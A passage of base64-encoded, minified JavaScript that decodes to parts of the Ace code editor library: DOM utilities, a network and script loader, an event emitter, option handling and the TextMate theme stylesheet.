XBwZW5kQ2hpbGQmJnQmJnQuYXBwZW5kQ2hpbGQoZSksZTtpZih0eXBlb2YgZVswXSE9InN0cmluZyJ8fCFlWzBdKXt2YXIgaT1bXTtmb3IodmFyIHM9MDtzPGUubGVuZ3RoO3MrKyl7dmFyIG89bChlW3NdLHQsbik7byYmaS5wdXNoKG8pfXJldHVybiBpfXZhciB1PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoZVswXSksYT1lWzFdLGY9MTthJiZ0eXBlb2YgYT09Im9iamVjdCImJiFBcnJheS5pc0FycmF5KGEpJiYoZj0yKTtmb3IodmFyIHM9ZjtzPGUubGVuZ3RoO3MrKylsKGVbc10sdSxuKTtyZXR1cm4gZj09MiYmT2JqZWN0LmtleXMoYSkuZm9yRWFjaChmdW5jdGlvbihlKXt2YXIgdD1hW2VdO2U9PT0iY2xhc3MiP3UuY2xhc3NOYW1lPUFycmF5LmlzQXJyYXkodCk/dC5qb2luKCIgIik6dDp0eXBlb2YgdD09ImZ1bmN0aW9uInx8ZT09InZhbHVlInx8ZVswXT09IiQiP3VbZV09dDplPT09InJlZiI/biYmKG5bdF09dSk6ZT09PSJzdHlsZSI/dHlwZW9mIHQ9PSJzdHJpbmciJiYodS5zdHlsZS5jc3NUZXh0PXQpOnQhPW51bGwmJnUuc2V0QXR0cmlidXRlKGUsdCl9KSx0JiZ0LmFwcGVuZENoaWxkKHUpLHV9LHQuZ2V0RG9jdW1lbnRIZWFkPWZ1bmN0aW9uKGUpe3JldHVybiBlfHwoZT1kb2N1bWVudCksZS5oZWFkfHxlLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF18fGUuZG9jdW1lbnRFbGVtZW50fSx0LmNyZWF0ZUVsZW1lbnQ9ZnVuY3Rpb24oZSx0KXtyZXR1cm4gZG9jdW1lbnQuY3JlYXRlRWxlbWVudE5TP2RvY3VtZW50LmNyZWF0ZUVsZW1lbnROUyh0fHxpLGUpOmRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoZSl9LHQucmVtb3ZlQ2hpbGRyZW49ZnVuY3Rpb24oZSl7ZS5pbm5lckhUTUw9IiJ9LHQuY3JlYXRlVGV4dE5vZGU9ZnVuY3Rpb24oZSx0KXt2YXIgbj10P3Qub3duZXJEb2N1bWVudDpkb2N1bWVudDtyZXR1cm4gbi5jcmVhdGVUZXh0Tm9kZShlKX0sdC5jcmVhdGVGcmFnbWVudD1mdW5jdGlvbihlKXt2YXIgdD1lP2Uub3duZXJEb2N1bWVudDpkb2N1bWVudDtyZXR1cm4gdC5jcmVhdGVEb2N1bWVudEZyYWdtZW50KCl9LHQuaGFzQ3NzQ2xhc3M9ZnVuY3Rpb24oZSx0KXt2YXIgbj0oZS5jbGFzc05hbWUrIiIpLnNwbGl0KC9ccysvZyk7cmV0dXJuIG4uaW5kZXhPZih0KSE9PS0xfSx0LmFkZENzc0NsYXNzPWZ1bmN0aW9uKGUsbil7dC5oYXNDc3NDbGFzcyhlLG4pfHwoZS5jbGFzc05hbWUrPSIgIituKX0sdC5yZW1vdmVDc3NDbGFzcz1mdW5jdGlvbihlLHQpe3ZhciBuPWUuY2xhc3NOYW1lLnNwbGl0KC9ccysvZyk7Zm9yKDs7KXt2YXIgcj1uLmluZGV4T2YodCk7aWYocj09LTEpYnJlYWs7bi5zcGxpY2UociwxKX1lLmNsYXNzTmFtZT1uLmpvaW4oIiAiKX0sdC50b2dnbGVDc3NDbGFzcz1mdW5jdGlvbihlLHQpe3ZhciBuPWUuY2xhc3NOYW1lLnNwbGl0KC9ccysvZykscj0hMDtmb3IoOzspe3ZhciBpPW4uaW5kZXhPZih0KTtpZihpPT0tMSlicmVhaztyPSExLG4uc3BsaWNlKGksMSl9cmV0dXJuIHImJm4ucHVzaCh0KSxlLmNsYXNzTmFtZT1uLmpvaW4oIiAiKSxyfSx0LnNldENzc0NsYXNzPWZ1bmN0aW9uKGUsbixyKXtyP3QuYWRkQ3NzQ2xhc3MoZSxuKTp0LnJlbW92ZUNzc0NsYXNzKGUsbil9LHQuaGFzQ3NzU3RyaW5nPWZ1bmN0aW9uKGUsdCl7dmFyIG49MCxyO3Q9dHx8ZG9jdW1lbnQ7aWYocj10LnF1ZXJ5U2VsZWN0b3JBbGwoInN0eWxlIikpd2hpbGUobjxyLmxlbmd0aClpZihyW24rK10uaWQ9PT1lKXJldHVybiEwfSx0LnJlbW92ZUVsZW1lbnRCeUlkPWZ1bmN0aW9uKGUsdCl7dD10fHxkb2N1bWVudCx0LmdldEVsZW1lbnRCeUlkKGUpJiZ0LmdldEVsZW1lbnRCeUlkKGUpLnJlbW92ZSgpfTt2YXIgcyxvPVtdO3QudXNlU3RyaWN0Q1NQPWZ1bmN0aW9uKGUpe3M9ZSxlPT0wP3UoKTpvfHwobz1bXSl9LHQuaW1wb3J0Q3NzU3RyaW5nPWEsdC5pbXBvcnRDc3NTdHlsc2hlZXQ9ZnVuY3Rpb24oZSxuKXt0LmJ1aWxkRG9tKFsibGluayIse3JlbDoic3R5bGVzaGVldCIsaHJlZjplfV0sdC5nZXREb2N1bWVudEhlYWQobikpfSx0LnNjcm9sbGJhcldpZHRoPWZ1bmN0aW9uKGUpe3ZhciBuPXQuY3JlYXRlRWxlbWVudCgiYWNlX2lubmVyIik7bi5zdHlsZS53aWR0aD0iMTAwJSIsbi5zdHlsZS5taW5XaWR0aD0iMHB4IixuLnN0eWxlLmhlaWdodD0iMjAwcHgiLG4uc3R5bGUuZGlzcGxheT0iYmxvY2siO3ZhciByPXQuY3JlYXRlRWxlbWVudCgiYWNlX291dGVyIiksaT1yLnN0eWxlO2kucG9zaXRpb249ImFic29sdXRlIixpLmxlZnQ9Ii0xMDAwMHB4IixpLm92ZXJmbG93PSJoaWRkZW4iLGkud2lkdGg9IjIwMHB4IixpLm1pbldpZHRoPSIwcHgiLGkuaGVpZ2h0PSIxNTBweCIsaS5kaXNwbGF5PSJibG9jayIsci5hcHBlbmRDaGlsZChuKTt2YXIgcz1lJiZlLmRvY3VtZW50RWxlbWVudHx8ZG9jdW1lbnQmJmRvY3VtZW50LmRvY3VtZW50RWxlbWVudDtpZighcylyZXR1cm4gMDtzLmFwcGVuZENoaWxkKHIpO3ZhciBvPW4ub2Zmc2V0V2lkdGg7aS5vdmVyZmxvdz0ic2Nyb2xsIjt2YXIgdT1uLm9mZnNldFdpZHRoO3JldHVybiBvPT09dSYmKHU9ci5jbGllbnRXaWR0aCkscy5yZW1vdmVDaGlsZChyKSxvLXV9LHQuY29tcHV0ZWRTdHlsZT1mdW5jdGlvbihlLHQpe3JldHVybiB3aW5kb3cuZ2V0Q29tcHV0ZWRTdHlsZShlLCIiKXx8e319LHQuc2V0U3R5bGU9ZnVuY3Rpb24oZSx0LG4pe2VbdF0hPT1uJiYoZVt0XT1uKX0sdC5IQVNfQ1NTX0FOSU1BVElPTj0hMSx0LkhBU19DU1NfVFJBTlNGT1JNUz0hMSx0LkhJX0RQST1yLmlzV2luP3R5cGVvZiB3aW5kb3chPSJ1bmRlZmluZWQiJiZ3aW5kb3cuZGV2aWNlUGl4ZWxSYXRpbz49MS41OiEwLHIuaXNDaHJvbWVPUyYmKHQuSElfRFBJPSExKTtpZih0eXBlb2YgZG9jdW1lbnQhPSJ1bmRlZmluZWQiKXt2YXIgZj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKTt0LkhJX0RQSSYmZi5zdHlsZS50cmFuc2Zvcm0hPT11bmRlZmluZWQmJih0LkhBU19DU1NfVFJBTlNGT1JNUz0hMCksIXIuaXNFZGdlJiZ0eXBlb2YgZi5zdHlsZS5hbmltYXRpb25OYW1lIT0idW5kZWZpbmVkIiYmKHQuSEFTX0NTU19BTklNQVRJT049ITApLGY9bnVsbH10LkhBU19DU1NfVFJBTlNGT1JNUz90LnRyYW5zbGF0ZT1mdW5jdGlvbihlLHQsbil7ZS5zdHlsZS50cmFuc2Zvcm09InRyYW5zbGF0ZSgiK01hdGgucm91bmQodCkrInB4LCAiK01hdGgucm91bmQobikrInB4KSJ9OnQudHJhbnNsYXRlPWZ1bmN0aW9uKGUsdCxuKXtlLnN0eWxlLnRvcD1NYXRoLnJvdW5kKG4pKyJweCIsZS5zdHlsZS5sZWZ0PU1hdGgucm91bmQodCkrInB4In19KSxkZWZpbmUoImFjZS9saWIvbmV0IixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL2xpYi9kb20iXSxmdW5jdGlvbihlLHQsbil7InVzZSBzdHJpY3QiO3ZhciByPWUoIi4vZG9tIik7dC5nZXQ9ZnVuY3Rpb24oZSx0KXt2YXIgbj1uZXcgWE1MSHR0cFJlcXVlc3Q7bi5vcGVuKCJHRVQiLGUsITApLG4ub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKCl7bi5yZWFkeVN0YXRlPT09NCYmdChuLnJlc3BvbnNlVGV4dCl9LG4uc2VuZChudWxsKX0sdC5sb2FkU2NyaXB0PWZ1bmN0aW9uKGUsdCl7dmFyIG49ci5nZXREb2N1bWVudEhlYWQoKSxpPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO2kuc3JjPWUsbi5hcHBlbmRDaGlsZChpKSxpLm9ubG9hZD1pLm9ucmVhZHlzdGF0ZWNoYW5nZT1mdW5jdGlvbihlLG4pe2lmKG58fCFpLnJlYWR5U3RhdGV8fGkucmVhZHlTdGF0ZT09ImxvYWRlZCJ8fGkucmVhZHlTdGF0ZT09ImNvbXBsZXRlIilpPWkub25sb2FkPWkub25yZWFkeXN0YXRlY2hhbmdlPW51bGwsbnx8dCgpfX0sdC5xdWFsaWZ5VVJMPWZ1bmN0aW9uKGUpe3ZhciB0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTtyZXR1cm4gdC5ocmVmPWUsdC5ocmVmfX0pLGRlZmluZSgiYWNlL2xpYi9ldmVudF9lbWl0dGVyIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0Ijt2YXIgcj17fSxpPWZ1bmN0aW9uKCl7dGhpcy5wcm9wYWdhdGlvblN0b3BwZWQ9ITB9LHM9ZnVuY3Rpb24oKXt0aGlzLmRlZmF1bHRQcmV2ZW50ZWQ9ITB9O3IuX2VtaXQ9ci5fZGlzcGF0Y2hFdmVudD1mdW5jdGlvbihlLHQpe3RoaXMuX2V2ZW50UmVnaXN0cnl8fCh0aGlzLl9ldmVudFJlZ2lzdHJ5PXt9KSx0aGlzLl9kZWZhdWx0SGFuZGxlcnN8fCh0aGlzLl9kZWZhdWx0SGFuZGxlcnM9e30pO3ZhciBuPXRoaXMuX2V2ZW50UmVnaXN0cnlbZV18fFtdLHI9dGhpcy5fZGVmYXVsdEhhbmRsZXJzW2VdO2lmKCFuLmxlbmd0aCYmIXIpcmV0dXJuO2lmKHR5cGVvZiB0IT0ib2JqZWN0Inx8IXQpdD17fTt0LnR5cGV8fCh0LnR5cGU9ZSksdC5zdG9wUHJvcGFnYXRpb258fCh0LnN0b3BQcm9wYWdhdGlvbj1pKSx0LnByZXZlbnREZWZhdWx0fHwodC5wcmV2ZW50RGVmYXVsdD1zKSxuPW4uc2xpY2UoKTtmb3IodmFyIG89MDtvPG4ubGVuZ3RoO28rKyl7bltvXSh0LHRoaXMpO2lmKHQucHJvcGFnYXRpb25TdG9wcGVkKWJyZWFrfWlmKHImJiF0LmRlZmF1bHRQcmV2ZW50ZWQpcmV0dXJuIHIodCx0aGlzKX0sci5fc2lnbmFsPWZ1bmN0aW9uKGUsdCl7dmFyIG49KHRoaXMuX2V2ZW50UmVnaXN0cnl8fHt9KVtlXTtpZighbilyZXR1cm47bj1uLnNsaWNlKCk7Zm9yKHZhciByPTA7cjxuLmxlbmd0aDtyKyspbltyXSh0LHRoaXMpfSxyLm9uY2U9ZnVuY3Rpb24oZSx0KXt2YXIgbj10aGlzO3RoaXMub24oZSxmdW5jdGlvbiByKCl7bi5vZmYoZSxyKSx0LmFwcGx5KG51bGwsYXJndW1lbnRzKX0pO2lmKCF0KXJldHVybiBuZXcgUHJvbWlzZShmdW5jdGlvbihlKXt0PWV9KX0sci5zZXREZWZhdWx0SGFuZGxlcj1mdW5jdGlvbihlLHQpe3ZhciBuPXRoaXMuX2RlZmF1bHRIYW5kbGVycztufHwobj10aGlzLl9kZWZhdWx0SGFuZGxlcnM9e19kaXNhYmxlZF86e319KTtpZihuW2VdKXt2YXIgcj1uW2VdLGk9bi5fZGlzYWJsZWRfW2VdO2l8fChuLl9kaXNhYmxlZF9bZV09aT1bXSksaS5wdXNoKHIpO3ZhciBzPWkuaW5kZXhPZih0KTtzIT0tMSYmaS5zcGxpY2UocywxKX1uW2VdPXR9LHIucmVtb3ZlRGVmYXVsdEhhbmRsZXI9ZnVuY3Rpb24oZSx0KXt2YXIgbj10aGlzLl9kZWZhdWx0SGFuZGxlcnM7aWYoIW4pcmV0dXJuO3ZhciByPW4uX2Rpc2FibGVkX1tlXTtpZihuW2VdPT10KXImJnRoaXMuc2V0RGVmYXVsdEhhbmRsZXIoZSxyLnBvcCgpKTtlbHNlIGlmKHIpe3ZhciBpPXIuaW5kZXhPZih0KTtpIT0tMSYmci5zcGxpY2UoaSwxKX19LHIub249ci5hZGRFdmVudExpc3RlbmVyPWZ1bmN0aW9uKGUsdCxuKXt0aGlzLl9ldmVudFJlZ2lzdHJ5PXRoaXMuX2V2ZW50UmVnaXN0cnl8fHt9O3ZhciByPXRoaXMuX2V2ZW50UmVnaXN0cnlbZV07cmV0dXJuIHJ8fChyPXRoaXMuX2V2ZW50UmVnaXN0cnlbZV09W10pLHIuaW5kZXhPZih0KT09LTEmJnJbbj8idW5zaGlmdCI6InB1c2giXSh0KSx0fSxyLm9mZj1yLnJlbW92ZUxpc3RlbmVyPXIucmVtb3ZlRXZlbnRMaXN0ZW5lcj1mdW5jdGlvbihlLHQpe3RoaXMuX2V2ZW50UmVnaXN0cnk9dGhpcy5fZXZlbnRSZWdpc3RyeXx8e307dmFyIG49dGhpcy5fZXZlbnRSZWdpc3RyeVtlXTtpZighbilyZXR1cm47dmFyIHI9bi5pbmRleE9mKHQpO3IhPT0tMSYmbi5zcGxpY2UociwxKX0sci5yZW1vdmVBbGxMaXN0ZW5lcnM9ZnVuY3Rpb24oZSl7ZXx8KHRoaXMuX2V2ZW50UmVnaXN0cnk9dGhpcy5fZGVmYXVsdEhhbmRsZXJzPXVuZGVmaW5lZCksdGhpcy5fZXZlbnRSZWdpc3RyeSYmKHRoaXMuX2V2ZW50UmVnaXN0cnlbZV09dW5kZWZpbmVkKSx0aGlzLl9kZWZhdWx0SGFuZGxlcnMmJih0aGlzLl9kZWZhdWx0SGFuZGxlcnNbZV09dW5kZWZpbmVkKX0sdC5FdmVudEVtaXR0ZXI9cn0pLGRlZmluZSgiYWNlL2xpYi9hcHBfY29uZmlnIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL2xpYi9vb3AiLCJhY2UvbGliL2V2ZW50X2VtaXR0ZXIiXSxmdW5jdGlvbihlLHQsbil7Im5vIHVzZSBzdHJpY3QiO2Z1bmN0aW9uIG8oZSl7dHlwZW9mIGNvbnNvbGUhPSJ1bmRlZmluZWQiJiZjb25zb2xlLndhcm4mJmNvbnNvbGUud2Fybi5hcHBseShjb25zb2xlLGFyZ3VtZW50cyl9ZnVuY3Rpb24gdShlLHQpe3ZhciBuPW5ldyBFcnJvcihlKTtuLmRhdGE9dCx0eXBlb2YgY29uc29sZT09Im9iamVjdCImJmNvbnNvbGUuZXJyb3ImJmNvbnNvbGUuZXJyb3Iobiksc2V0VGltZW91dChmdW5jdGlvbigpe3Rocm93IG59KX12YXIgcj1lKCIuL29vcCIpLGk9ZSgiLi9ldmVudF9lbWl0dGVyIikuRXZlbnRFbWl0dGVyLHM9e3NldE9wdGlvbnM6ZnVuY3Rpb24oZSl7T2JqZWN0LmtleXMoZSkuZm9yRWFjaChmdW5jdGlvbih0KXt0aGlzLnNldE9wdGlvbih0LGVbdF0pfSx0aGlzKX0sZ2V0T3B0aW9uczpmdW5jdGlvbihlKXt2YXIgdD17fTtpZighZSl7dmFyIG49dGhpcy4kb3B0aW9ucztlPU9iamVjdC5rZXlzKG4pLmZpbHRlcihmdW5jdGlvbihlKXtyZXR1cm4hbltlXS5oaWRkZW59KX1lbHNlIEFycmF5LmlzQXJyYXkoZSl8fCh0PWUsZT1PYmplY3Qua2V5cyh0KSk7cmV0dXJuIGUuZm9yRWFjaChmdW5jdGlvbihlKXt0W2VdPXRoaXMuZ2V0T3B0aW9uKGUpfSx0aGlzKSx0fSxzZXRPcHRpb246ZnVuY3Rpb24oZSx0KXtpZih0aGlzWyIkIitlXT09PXQpcmV0dXJuO3ZhciBuPXRoaXMuJG9wdGlvbnNbZV07aWYoIW4pcmV0dXJuIG8oJ21pc3NwZWxsZWQgb3B0aW9uICInK2UrJyInKTtpZihuLmZvcndhcmRUbylyZXR1cm4gdGhpc1tuLmZvcndhcmRUb10mJnRoaXNbbi5mb3J3YXJkVG9dLnNldE9wdGlvbihlLHQpO24uaGFuZGxlc1NldHx8KHRoaXNbIiQiK2VdPXQpLG4mJm4uc2V0JiZuLnNldC5jYWxsKHRoaXMsdCl9LGdldE9wdGlvbjpmdW5jdGlvbihlKXt2YXIgdD10aGlzLiRvcHRpb25zW2VdO3JldHVybiB0P3QuZm9yd2FyZFRvP3RoaXNbdC5mb3J3YXJkVG9dJiZ0aGlzW3QuZm9yd2FyZFRvXS5nZXRPcHRpb24oZSk6dCYmdC5nZXQ/dC5nZXQuY2FsbCh0aGlzKTp0aGlzWyIkIitlXTpvKCdtaXNzcGVsbGVkIG9wdGlvbiAiJytlKyciJyl9fSxhPWZ1bmN0aW9uKCl7dGhpcy4kZGVmYXVsdE9wdGlvbnM9e319OyhmdW5jdGlvbigpe3IuaW1wbGVtZW50KHRoaXMsaSksdGhpcy5kZWZpbmVPcHRpb25zPWZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gZS4kb3B0aW9uc3x8KHRoaXMuJGRlZmF1bHRPcHRpb25zW3RdPWUuJG9wdGlvbnM9e30pLE9iamVjdC5rZXlzKG4pLmZvckVhY2goZnVuY3Rpb24odCl7dmFyIHI9blt0XTt0eXBlb2Ygcj09InN0cmluZyImJihyPXtmb3J3YXJkVG86cn0pLHIubmFtZXx8KHIubmFtZT10KSxlLiRvcHRpb25zW3IubmFtZV09ciwiaW5pdGlhbFZhbHVlImluIHImJihlWyIkIityLm5hbWVdPXIuaW5pdGlhbFZhbHVlKX0pLHIuaW1wbGVtZW50KGUscyksdGhpc30sdGhpcy5yZXNldE9wdGlvbnM9ZnVuY3Rpb24oZSl7T2JqZWN0LmtleXMoZS4kb3B0aW9ucykuZm9yRWFjaChmdW5jdGlvbih0KXt2YXIgbj1lLiRvcHRpb25zW3RdOyJ2YWx1ZSJpbiBuJiZlLnNldE9wdGlvbih0LG4udmFsdWUpfSl9LHRoaXMuc2V0RGVmYXVsdFZhbHVlPWZ1bmN0aW9uKGUsdCxuKXtpZighZSl7Zm9yKGUgaW4gdGhpcy4kZGVmYXVsdE9wdGlvbnMpaWYodGhpcy4kZGVmYXVsdE9wdGlvbnNbZV1bdF0pYnJlYWs7aWYoIXRoaXMuJGRlZmF1bHRPcHRpb25zW2VdW3RdKXJldHVybiExfXZhciByPXRoaXMuJGRlZmF1bHRPcHRpb25zW2VdfHwodGhpcy4kZGVmYXVsdE9wdGlvbnNbZV09e30pO3JbdF0mJihyLmZvcndhcmRUbz90aGlzLnNldERlZmF1bHRWYWx1ZShyLmZvcndhcmRUbyx0LG4pOnJbdF0udmFsdWU9bil9LHRoaXMuc2V0RGVmYXVsdFZhbHVlcz1mdW5jdGlvbihlLHQpe09iamVjdC5rZXlzKHQpLmZvckVhY2goZnVuY3Rpb24obil7dGhpcy5zZXREZWZhdWx0VmFsdWUoZSxuLHRbbl0pfSx0aGlzKX0sdGhpcy53YXJuPW8sdGhpcy5yZXBvcnRFcnJvcj11fSkuY2FsbChhLnByb3RvdHlwZSksdC5BcHBDb25maWc9YX0pLGRlZmluZSgiYWNlL3RoZW1lL3RleHRtYXRlLmNzcyIsWyJyZXF1aXJlIiwiZXhwb3J0cyIsIm1vZHVsZSJdLGZ1bmN0aW9uKGUsdCxuKXtuLmV4cG9ydHM9Jy5hY2UtdG0gLmFjZV9ndXR0ZXIge1xuICBiYWNrZ3JvdW5kOiAjZjBmMGYwO1xuICBjb2xvcjogIzMzMztcbn1cblxuLmFjZS10bSAuYWNlX3ByaW50LW1hcmdpbiB7XG4gIHdpZHRoOiAxcHg7XG4gIGJhY2tncm91bmQ6ICNlOGU4ZTg7XG59XG5cbi5hY2UtdG0gLmFjZV9mb2xkIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjNkI3MkU2O1xufVxuXG4uYWNlLXRtIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRjtcbiAgY29sb3I6IGJsYWNrO1xufVxuXG4uYWNlLXRtIC5hY2VfY3Vyc29yIHtcbiAgY29sb3I6IGJsYWNrO1xufVxuICAgICAgICBcbi5hY2UtdG0gLmFjZV9pbnZpc2libGUge1xuICBjb2xvcjogcmdiKDE5MSwgMTkxLCAxOTEpO1xufVxuXG4uYWNlLXRtIC5hY2Vfc3RvcmFnZSxcbi5hY2UtdG0gLmFjZV9rZXl3b3JkIHtcbiAgY29sb3I6IGJsdWU7XG59XG5cbi5hY2UtdG0gLmFjZV9jb25zdGFudCB7XG4gIGNvbG9yOiByZ2IoMTk3LCA2LCAxMSk7XG59XG5cbi5hY2UtdG0gLmFjZV9jb25zdGFudC5hY2VfYnVpbGRpbiB7XG4gIGNvbG9yOiByZ2IoODgsIDcyLCAyNDYpO1xufVxuXG4uYWNlLXRtIC5hY2VfY29uc3RhbnQuYWNlX2xhbmd1YWdlIHtcbiAgY29sb3I6IHJnYig4OCwgOTIsIDI0Nik7XG59XG5cbi5hY2UtdG0gLmFjZV9jb25zdGFudC5hY2VfbGlicmFyeSB7XG4gIGNvbG9yOiByZ2IoNiwgMTUwLCAxNCk7XG59XG5cbi5hY2UtdG0gLmFjZV9pbnZhbGlkIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogcmdiYSgyNTUsIDAsIDAsIDAuMSk7XG4gIGNvbG9yOiByZWQ7XG59XG5cbi5hY2UtdG0gLmFjZV9zdXBwb3J0LmFjZV9mdW5jdGlvbiB7XG4gIGNvbG9yOiByZ2IoNjAsIDc2LCAxMTQpO1xufVxuXG4uYWNlLXRtIC5hY2Vfc3VwcG9ydC5hY2VfY29uc3RhbnQge1xuICBjb2xvcjogcmdiKDYsIDE1MCwgMTQpO1xufVxuXG4uYWNlLXRtIC5hY2Vfc3VwcG9ydC5hY2VfdHlwZSxcbi5hY2UtdG0gLmFjZV9zdXBwb3J0LmFjZV9jbGFzcyB7XG4gIGNvbG9yOiByZ2IoMTA5LCAxMjEsIDIyMik7XG59XG5cbi5hY2UtdG0gLmFjZV9rZXl3b3JkLmFjZV9vcGVyYXRvciB7XG4gIGNvbG9yOiByZ2IoMTA0LCAxMTgsIDEzNSk7XG59XG5cbi5hY2UtdG0gLmFjZV9zdHJpbmcge1xuICBjb2xvcjogcmdiKDMsIDEwNiwgNyk7XG59XG5cbi5hY2UtdG0gLmFjZV9jb21tZW50IHtcbiAgY29sb3I6IHJnYig3NiwgMTM2LCAxMDcpO1xufVxuXG4uYWNlLXRtIC5hY2VfY29tbWVudC5hY2VfZG9jIHtcbiAgY29sb3I6IHJnYigwLCAxMDIsIDI1NSk7XG59XG5cbi5hY2UtdG0gLmFjZV9jb21tZW50LmFjZV9kb2MuYWNlX3RhZyB7XG4gIGNvbG9yOiByZ2IoMTI4LCAxNTksIDE5MSk7XG59XG5cbi5hY2UtdG0gLmFjZV9jb25zdGFudC5hY2VfbnVtZXJpYyB7XG4gIGNvbG9yOiByZ2IoMCwgMCwgMjA1KTtcbn1cblxuLmFjZS10bSAuYWNlX3ZhcmlhYmxlIHtcbiAgY29sb3I6IHJnYig0OSwgMTMyLCAxNDkpO1xufVxuXG4uYWNlLXRtIC5hY2VfeG1sLXBlIHtcbiAgY29sb3I6IHJnYigxMDQsIDEwNCwgOTEpO1xufVxuXG4uYWNlLXRtIC5hY2VfZW50aXR5LmFjZV9uYW1lLmFjZV9mdW5jdGlvbiB7XG4gIGNvbG9yOiAjMDAwMEEyO1xufVxuXG5cbi5hY2UtdG0gLmFjZV9oZWFkaW5nIHtcbiAgY29sb3I6IHJnYigxMiwgNywgMjU1KTtcbn1cblxuLmFjZS10bSAuYWNlX2xpc3Qge1xuICBjb2xvcjpyZ2IoMTg1LCA2LCAxNDQpO1xufVxuXG4uYWNlLXRtIC5hY2VfbWV0YS5hY2VfdGFnIHtcbiAgY29sb3I6cmdiKDAsIDIyLCAxNDIpO1xufVxuXG4uYWNlLXRtIC5hY2Vfc3RyaW5nLmFjZV9yZWdleCB7XG4gIGNvbG9yOiByZ2IoMjU1LCAwLCAwKVxufVxuXG4uYWNlLXRtIC5hY2VfbWFya2VyLWxheWVyIC5hY2Vfc2VsZWN0aW9uIHtcbiAgYmFja2dyb3VuZDogcmdiKDE4MSwgMjEzLCAyNTUpO1xufVxuLmFjZS10bS5hY2VfbXVsdGlzZWxlY3QgLmFjZV9zZWxlY3Rpb24uYWNlX3N0YXJ0IHtcbiAgYm94LXNoYWRvdzogMCAwIDNweCAwcHggd2hpdGU7XG59XG4uYWNlLXRtIC5hY2VfbWFya2VyLWxheWVyIC5hY2Vfc3RlcCB7XG4gIGJhY2tncm91bmQ6IHJnYigyNTIsIDI1NSwgMCk7XG59XG5cbi5hY2UtdG0gLmFjZV9tYXJrZXItbGF5ZXIgLmFjZV9zdGFjayB7XG4gIGJhY2tncm91bmQ6IHJnYigxNjQsIDIyOSwgMTAxKTtcbn1cblxuLmFjZS10bSAuYWNlX21hcmtlci1sYXllciAuYWNlX2JyYWNrZXQge1xuICBtYXJnaW46IC0xcHggMCAwIC0xcHg7XG4gIGJvcmRlcjogMXB4IHNvbGlkIHJnYigxOTIsIDE5MiwgMTkyKTtcbn1cblxuLmFjZS10bSAuYWNlX21hcmtlci1sYXllciAuYWNlX2FjdGl2ZS1saW5lIHtcbiAgYmFja2dyb3VuZDogcmdiYSgwLCAwLCAwLCAwLjA3KTtcbn1cblxuLmFjZS10bSAuYWNlX2d1dHRlci1hY3RpdmUtbGluZSB7XG4gICAgYmFja2dyb3VuZC1jb2xvciA6ICNkY2RjZGM7XG59XG5cbi5hY2UtdG0gLmFjZV9tYXJrZXItbGF5ZXIgLmFjZV9zZWxlY3RlZC13b3JkIHtcbiAgYmFja2dyb3VuZDogcmdiKDI1MCwgMjUwLCAyNTUpO1xuICBib3JkZXI6IDFweCBzb2xpZCByZ2IoMjAwLCAyMDAsIDI1MCk7XG59XG5cbi5hY2UtdG0gLmFjZV9pbmRlbnQtZ3VpZGUge1xuICBiYWNrZ3JvdW5kOiB1cmwoImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQUVBQUFBQ0NBWUFBQUNaZ2JZbkFBQUFFMGxFUVZRSW1XUDQvLy8vZjRiTGx5Ly9Cd0FtVmdkMS93MTEvZ0FBQUFCSlJVNUVya0pnZ2c9PSIpIHJpZ2h0IHJlcGVhdC15O1xufVxuXG4uYWNlLXRtIC5hY2VfaW5kZW50LWd1aWRlLWFjdGl2ZSB7XG4gIGJhY2tncm91bmQ6IHVybCgiZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFBRUFBQUFDQ0FZQUFBQ1pnYlluQUFBQUNYQklXWE1BQUFzVEFBQUxFd0VBbXB3WUFBQUFJR05JVWswQUFIb2xBQUNBZ3dBQStmOEFBSURwQUFCMU1BQUE2bUFBQURxWUFBQVhiNUpmeFVZQUFBQVpTVVJCVkhqYVl2ai8vLzkvaGl2S3l2OEJBQUFBLy84REFDTHFCaGJ2aysvZUFBQUFBRWxGVGtTdVFtQ0MiKSByaWdodCByZXBlYXQteTtcbn1cbid9KSxkZWZpbmUoImFjZS90aGVtZS90ZXh0bWF0ZSIsWyJyZXF1aXJlIiwiZXhwb3J0cyIsIm1vZHVsZSIsImFjZS90aGVtZS90ZXh0bWF0ZS5jc3MiLCJhY2UvbGliL2RvbSJdLGZ1bmN0aW9uKGUsdCxuKXsidXNlIHN0cmljdCI7dC5pc0Rhcms9ITEsdC5jc3NDbGFzcz0iYWNlLXRtIix0LmNzc1RleHQ9ZSgiLi90ZXh0bWF0ZS5jc3MiKSx0LiRpZD0iYWNlL3RoZW1lL3RleHRtYXRlIjt2YXIgcj1lKCIuLi9saWIvZG9tIik7ci5pbXBvcnRDc3NTdHJpbmcodC5jc3NUZXh0LHQuY3NzQ2xhc3MsITEpfSksZGVmaW5lKCJhY2UvY29uZmlnIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL2xpYi9sYW5nIiwiYWNlL2xpYi9vb3AiLCJhY2UvbGliL25ldCIsImFjZS9saWIvZG9tIiwiYWNlL2xpYi9hcHBfY29uZmlnIiwiYWNlL3RoZW1lL3RleHRtYXRlIl0sZnVuY3Rpb24oZSx0LG4peyJubyB1c2Ugc3RyaWN0Ijt2YXIgcj1lKCIuL2xpYi9sYW5nIiksaT1lKCIuL2xpYi9vb3AiKSxzPWUoIi4vbGliL25ldCIpLG89ZSgiLi9saWIvZG9tIiksdT1lKCIuL2xpYi9hcHBfY29uZmlnI